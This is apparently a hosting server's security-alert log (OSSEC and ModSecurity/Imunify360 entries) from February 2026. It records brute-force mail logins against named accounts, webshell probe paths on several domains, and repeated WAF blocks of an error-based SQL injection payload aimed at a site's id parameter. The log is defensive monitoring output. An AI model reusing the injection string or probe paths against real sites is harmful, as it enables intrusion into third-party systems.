name: Exim Auth failed
abuser: 200.106.49.149
country_id: 3932488
description:
2026-02-01 12:07:35 dovecot_login authenticator failed for H=([200.106.49.149]) [200.106.49.149]:34972: 535 Incorrect authentication data (set_id=admin@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 12:07:49 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:58632: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 92.118.39.145
country_id: 798549
description:
Feb  1 12:07:10 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account admin has been temporarily locked by Imunify PAM(92.118.39.145)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.28.243
country_id: 1668284
description:
2026-02-01 12:07:14 dovecot_login authenticator failed for H=111-70-28-243.emome-ip.hinet.net [111.70.28.243]:46899: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 12:07:17 dovecot_login authenticator failed for H=(pAHUqk2vh) [158.94.208.175]:62515: 535 Incorrect authentication data (set_id=ramin.fpp)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 12:07:08 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:52814: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.118.39.145
country_id: 798549
description:
2026-02-01 12:07:12 dovecot_login authenticator failed for H=(loZR4ylVi) [92.118.39.145]:52940: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.47.172.253
country_id: 2287781
description:
2026-02-01 12:07:19 dovecot_plain authenticator failed for H=host-196-47-172-253.afnet.net (syceness) [196.47.172.253]:34779: 535 Incorrect authentication data (set_id=seanlee@eminent.st)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.220.236.203
country_id: 660013
description:
2026-02-01 12:07:42 dovecot_login authenticator failed for H=([62.220.236.203]) [62.220.236.203]:46844: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 68.60.77.128
country_id: 6252001
description:
2026-02-01 12:07:46 dovecot_plain authenticator failed for H=c-68-60-77-128.hsd1.mi.comcast.net (inkewonal) [68.60.77.128]:50512: 535 Incorrect authentication data (set_id=seanlee@eminent.st)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 46.30.161.197
country_id: 690791
description:
Feb  1 12:08:04 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account admin has been temporarily locked by Imunify PAM(46.30.161.197)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.120.176.6
country_id: 1835841
description:
2026-02-01 12:08:32 dovecot_login authenticator failed for H=([222.120.176.6]) [222.120.176.6]:35506: 535 Incorrect authentication data (set_id=info@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.120.1.74
country_id: 6252001
description:
2026-02-01 12:08:36 dovecot_login authenticator failed for H=([70.120.1.74]) [70.120.1.74]:53570: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.36.234.156
country_id: 1835841
description:
2026-02-01 12:08:59 dovecot_login authenticator failed for H=([118.36.234.156]) [118.36.234.156]:53348: 535 Incorrect authentication data (set_id=admin@manforce.net)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 92.118.39.145
country_id: 798549
description:
Feb  1 12:08:03 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account admin has been temporarily locked by Imunify PAM(92.118.39.145)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 12:08:11 dovecot_login authenticator failed for H=(6Dwcda) [158.94.208.175]:59505: 535 Incorrect authentication data (set_id=ramin.fpp)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 12:08:23 dovecot_login authenticator failed for H=(XG6XAZsXa) [158.94.208.175]:49728: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.177.3
country_id: 1814991
description:
2026-02-01 12:08:24 dovecot_login authenticator failed for H=([111.61.177.3]) [111.61.177.3]:25584: 535 Incorrect authentication data (set_id=info@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 12:08:28 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:57487: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 152.32.189.134
country_id: 1819730
description:
2026-02-01 12:08:40 220631 [Warning] Aborted connection 220631 to db: 'unconnected' user: 'unauthenticated' host: '152.32.189.134' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.30.161.197
country_id: 690791
description:
2026-02-01 12:08:06 dovecot_login authenticator failed for H=(46.30.161.197.access.ipnet.ua) [46.30.161.197]:51626: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.56
country_id: 2542007
description:
2026-02-01 12:08:45 dovecot_login authenticator failed for H=([102.53.15.56]) [102.53.15.56]:33766: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.118.39.145
country_id: 798549
description:
2026-02-01 12:08:05 dovecot_login authenticator failed for H=(awbt71Ns) [92.118.39.145]:55746: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 185.192.69.5
country_id: 2635167
description:
2026-02-01 12:09:31 220663 [Warning] Aborted connection 220663 to db: 'unconnected' user: 'unauthenticated' host: '185.192.69.5' (This connection closed normally without authentication)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.119
country_id: 1880251
domain: indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/keyword/img/druma_photos/index.php||SC:/home/indfinitydesign/public_html/keyword||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 12:09:18 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:64382: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 12:09:57 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:49594: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 12:09:09 dovecot_login authenticator failed for H=(QLpNeJ) [158.94.208.175]:60055: 535 Incorrect authentication data (set_id=ramin.fpp)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.197.226.51
country_id: 1819730
description:
2026-02-01 12:09:15 dovecot_login authenticator failed for H=(223-197-226-51.static.imsbiz.com) [223.197.226.51]:64588: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.167.20.72
country_id: 1814991
description:
2026-02-01 12:10:23 dovecot_login authenticator failed for H=(72.20.167.124.adsl-pool.sx.cn) [124.167.20.72]:52323: 535 Incorrect authentication data (set_id=support@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.234.56
country_id: 1269750
description:
2026-02-01 12:10:36 dovecot_login authenticator failed for H=(nsg-corporate-56.234.187.122.airtel.in) [122.187.234.56]:37824: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-02-01 12:10:36 dovecot_plain authenticator failed for H=54.126.103.87.rev.vodafone.pt (lingish) [87.103.126.54]:10715: 535 Incorrect authentication data (set_id=jun@kdiballoon.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 169.211.232.182
country_id: 1835841
description:
2026-02-01 12:10:03 dovecot_login authenticator failed for H=([169.211.232.182]) [169.211.232.182]:39292: 535 Incorrect authentication data (set_id=support@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 12:10:04 dovecot_login authenticator failed for H=(BfzQ5Xx6I) [158.94.208.175]:56286: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 12:10:02 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:54161: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.203.231.220
country_id: 2464461
description:
2026-02-01 12:10:55 dovecot_login authenticator failed for H=([196.203.231.220]) [196.203.231.220]:37892: 535 Incorrect authentication data (set_id=admin@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.150.135.19
country_id: 690791
description:
2026-02-01 12:11:38 dovecot_login authenticator failed for H=(19.135.150.178.triolan.net) [178.150.135.19]:50464: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.142.146.167
country_id: 1835841
description:
2026-02-01 12:11:39 dovecot_login authenticator failed for H=([121.142.146.167]) [121.142.146.167]:45821: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 12:11:02 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:59726: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 12:11:09 dovecot_login authenticator failed for H=(BIKykpxK8) [158.94.208.175]:57569: 535 Incorrect authentication data (set_id=ramin.fpp@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.179.93.147
country_id: 1835841
description:
2026-02-01 12:11:12 dovecot_login authenticator failed for H=([121.179.93.147]) [121.179.93.147]:49278: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 12:12:03 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:52726: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 12:12:13 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:55353: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 12:12:16 dovecot_login authenticator failed for H=(ovgCytsFC) [158.94.208.175]:59400: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 12:12:48 dovecot_login authenticator failed for H=(VtUlAL) [158.94.208.175]:59705: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.167.193.127
country_id: 1814991
description:
2026-02-01 12:12:48 dovecot_login authenticator failed for H=([183.167.193.127]) [183.167.193.127]:60601: 535 Incorrect authentication data (set_id=admin@mkmetal.com.my)


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 151.245.112.88
country_id: 798544
domain: pspoly.com.my
description:
IM360 WAF: PHP Injection Low value||MV:104146 AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/pspolycom/public_html/news-detail.php||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 151.245.112.88
country_id: 798544
domain: pspoly.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:104146 AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 151.245.112.88
country_id: 798544
domain: www.pspoly.com.my
description:
IM360 WAF: PHP Injection Low value||MV:612264 AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/pspolycom/public_html/news-detail.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.159.71.249
country_id: 1835841
description:
2026-02-01 12:13:11 dovecot_login authenticator failed for H=([121.159.71.249]) [121.159.71.249]:42290: 535 Incorrect authentication data (set_id=admin@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.139.124.120
country_id: 1835841
description:
2026-02-01 12:13:19 dovecot_login authenticator failed for H=([125.139.124.120]) [125.139.124.120]:37068: 535 Incorrect authentication data (set_id=admin)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.145.116
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-content/plugins/flagallery-skins/default_int/img/about.php||SC:/home2/pspolycom/public_html/wp-content||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.28.251.169
country_id: 690791
description:
2026-02-01 12:13:22 dovecot_login authenticator failed for H=(undefined.sevstar.net) [31.28.251.169]:50004: 535 Incorrect authentication data (set_id=accounts)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.203.231.220
country_id: 2464461
description:
2026-02-01 12:13:24 dovecot_login authenticator failed for H=([196.203.231.220]) [196.203.231.220]:47220: 535 Incorrect authentication data (set_id=admin@acburn.com.my)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 151.245.112.88
country_id: 798544
domain: www.pspoly.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:612264 and (select 1 from (select count(*), concat((select (select concat(cast(version() as char),0x7e))), floor(rand(0) * 2)) x from information_schema.tables group by x) a)--||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.23.95.9
country_id: 1814991
description:
2026-02-01 12:13:11 dovecot_login authenticator failed for H=([218.23.95.9]) [218.23.95.9]:44672: 535 Incorrect authentication data (set_id=accounts@manforce.net)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 151.245.112.88
country_id: 798544
domain: pspoly.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:104146 and (select 1 from (select count(*), concat((select (select concat(cast(version() as char),0x7e))), floor(rand(0) * 2)) x from information_schema.tables group by x) a)--||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350224
name: IM360 WAF: Common DB Name in Request
abuser: 151.245.112.88
country_id: 798544
domain: pspoly.com.my
description:
IM360 WAF: Common DB Name in Request||MVN:ARGS:id||MV:104146 AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 12:13:19 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:60016: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 151.245.112.88
country_id: 798544
domain: www.pspoly.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:612264 AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350224
name: IM360 WAF: Common DB Name in Request
abuser: 151.245.112.88
country_id: 798544
domain: www.pspoly.com.my
description:
IM360 WAF: Common DB Name in Request||MVN:ARGS:id||MV:612264 AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.178.39.106
country_id: 1814991
description:
2026-02-01 12:13:43 dovecot_login authenticator failed for H=([220.178.39.106]) [220.178.39.106]:39588: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 12:13:04 dovecot_login authenticator failed for H=(KUagQemt4) [158.94.208.175]:49963: 535 Incorrect authentication data (set_id=ramin.fpp@vc-b.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.210
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/portfolio/img/img/img/img/img/demos/index.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 12:14:09 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:55614: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.251.197.46
country_id: 1814991
description:
2026-02-01 12:14:16 dovecot_login authenticator failed for H=([101.251.197.46]) [101.251.197.46]:39444: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 12:14:17 dovecot_login authenticator failed for H=(zWqAUmY4NB) [158.94.208.175]:56114: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 12:14:18 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:51426: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.231.31.220
country_id: 1605651
description:
2026-02-01 12:14:40 dovecot_login authenticator failed for H=([49.231.31.220]) [49.231.31.220]:37656: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.203.231.220
country_id: 2464461
description:
2026-02-01 12:14:29 dovecot_login authenticator failed for H=([196.203.231.220]) [196.203.231.220]:59950: 535 Incorrect authentication data (set_id=admin@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 12:15:17 dovecot_login authenticator failed for H=(YixxseA) [158.94.208.175]:63467: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 12:15:30 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:63577: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.64
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/portfolio/img/img/img/img/img/demos/contact-us.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 185.192.69.5
country_id: 2635167
description:
2026-02-01 12:16:01 221112 [Warning] Aborted connection 221112 to db: 'unconnected' user: 'unauthenticated' host: '185.192.69.5' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 12:16:13 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:53104: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 12:16:18 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:44958: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 12:16:20 dovecot_login authenticator failed for H=(zgq4MR) [158.94.208.175]:56956: 535 Incorrect authentication data (set_id=ramin.fpp@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.52.166.93
country_id: 1819730
description:
2026-02-01 12:16:31 dovecot_login authenticator failed for H=(ADMIN) [47.52.166.93]:58070: 535 Incorrect authentication data (set_id=jaya@dsc-expat.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.145.116
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/plug/sms/img/img/new-development.php||SC:/home2/pspolycom/public_html/plug||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/about-us/images/sliders/iso.php||SC:/home/sutsbcom/public_html/about-us||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 12:17:02 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:59674: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 12:17:05 dovecot_login authenticator failed for H=(t4WKX7m) [158.94.208.175]:61173: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 12:18:25 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:47516: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 12:18:34 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:65262: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.196.148.169
country_id: 6252001
description:
2026-02-01 12:18:46 dovecot_login authenticator failed for H=(syn-024-196-148-169.res.spectrum.com) [24.196.148.169]:64095: 535 Incorrect authentication data (set_id=accounts@manforce.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.140
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/news-n-events/img/img/img/img/news.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 12:18:02 dovecot_login authenticator failed for H=(rq0QRR8) [158.94.208.175]:64280: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.196.243.99
country_id: 3017382
description:
2026-02-01 12:18:53 dovecot_plain authenticator failed for H=ip99.ip-5-196-243.eu [5.196.243.99]:54720: 535 Incorrect authentication data (set_id=itdept@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 12:18:13 dovecot_login authenticator failed for H=(Uw9YpwNzW) [158.94.208.175]:59894: 535 Incorrect authentication data (set_id=ramin.fpp@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.172.41.103
country_id: 1814991
description:
2026-02-01 12:19:00 dovecot_login authenticator failed for H=([60.172.41.103]) [60.172.41.103]:34634: 535 Incorrect authentication data (set_id=accounts)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 12:19:17 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:54690: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 12:19:04 dovecot_login authenticator failed for H=(SmUGi8ohAu) [158.94.208.175]:54982: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.196.243.99
country_id: 3017382
description:
2026-02-01 12:19:06 dovecot_plain authenticator failed for H=ip99.ip-5-196-243.eu [5.196.243.99]:55045: 535 Incorrect authentication data (set_id=itdept@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 12:20:29 dovecot_login authenticator failed for H=(daN9x3F) [158.94.208.175]:61513: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.206.72.79
country_id: 2635167
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/wp-includes/js/dist/i18n.min.js?ver=5e580eb46a90c2b997e6 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 154.82.150.72
country_id: 2635167
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/wp-includes/js/dist/hooks.min.js?ver=2810c76e705dd1a53b18 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 154.82.169.195
country_id: 2635167
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/wp-content/themes/batiment/assets/js/modernizr-2.8.3.min.js?ver=20151215 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 154.82.150.103
country_id: 2635167
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/wp-content/plugins/revslider/public/assets/js/rs6.min.js?ver=6.3.9 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 154.82.170.106
country_id: 2635167
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/wp-includes/js/dist/api-fetch.min.js?ver=4c185334c5ec26e149cc HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 154.82.150.10
country_id: 2635167
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/wp-includes/js/dist/url.min.js?ver=36ae0e4dd9043bb8749b HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
